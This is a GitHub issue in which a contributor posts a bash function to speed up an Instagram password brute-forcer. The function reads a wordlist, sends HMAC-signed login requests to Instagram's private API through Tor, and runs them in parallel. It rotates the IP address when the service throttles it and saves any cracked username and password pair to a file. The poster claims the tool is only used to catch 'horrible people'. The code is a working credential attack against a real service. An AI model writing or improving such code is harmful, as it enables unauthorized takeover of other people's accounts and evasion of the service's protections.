InstaBrute icon indicating copy to clipboard operation
InstaBrute copied to clipboard

I want to help with some of the code here is an code prompt below. Please Read

Open DeroXP opened this issue 1 year ago • 5 comments

function bruteforcer() {
  checktor
  count_pass=$(wc -l "$wl_pass" | cut -d " " -f1)
  printf "\e[1;92mUsername:\e[0m\e[1;77m %s\e[0m\n" "$user"
  printf "\e[1;92mWordlist:\e[0m\e[1;77m %s (%s)\e[0m\n" "$wl_pass" "$count_pass"
  printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"

  startline=1
  endline="$threads"
  pause=false

  trap 'pause=true' SIGUSR1
  trap 'pause=false' SIGUSR2

  while true; do
    IFS=$'\n'
    for pass in $(sed -n "${startline},${endline}p" "$wl_pass"); do
      if $pause; then
        printf "\n\e[1;91m[*] Session Paused. Press Ctrl + R to resume.\n\e[0m"
        sleep 1
        continue
      fi

      header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
      data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
      ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
      countpass=$(grep -n "$pass" "$wl_pass" | cut -d ":" -f1)
      hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
      useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
      printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" "$countpass" "$count_pass" "$pass"

      {
        (trap '' SIGINT && var=$(curl --socks5 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "200\|challenge\|many tries\|Please wait"| uniq );
        if [[ $var == "challenge" ]]; then
          printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" "$pass"
          printf "Username: %s, Password: %s\n" "$user" "$pass" >> found.passwords
          printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.passwords \n\e[0m"
          kill -USR1 $$
        elif [[ $var == "200" ]]; then
          printf "\e[1;92m \n [*] Password Found: %s\n" "$pass"
          printf "Username: %s, Password: %s\n" "$user" "$pass" >> found.passwords
          printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.passwords \n\e[0m"
          kill -USR1 $$
        elif [[ $var == "Please wait" ]]; then
          changeip
        fi;
        )
      } &

      sleep 0.02
    done
    wait $!
    let startline+=$threads
    let endline+=$threads
    changeip
    sleep 0.02
  done
}

this is for better performance of the brute force function if you see this I recommend you use this as you while see an great improvement and I will be adding more to the code for better performance or features. If contributors don't want me work on fixing the code I will stop and I don't need credit if they take my code cause I don't wanna be fr known as a non-ethical hacker as I use this tool for catching 'horrible people'. Thank you for reading.

Note: Even though this code makes it run faster and make sure the process doesn't break the occasional after 20 tries stops, because these are inevitable. Thank you for reading.

DeroXP avatar Jul 10 '23 17:07 DeroXP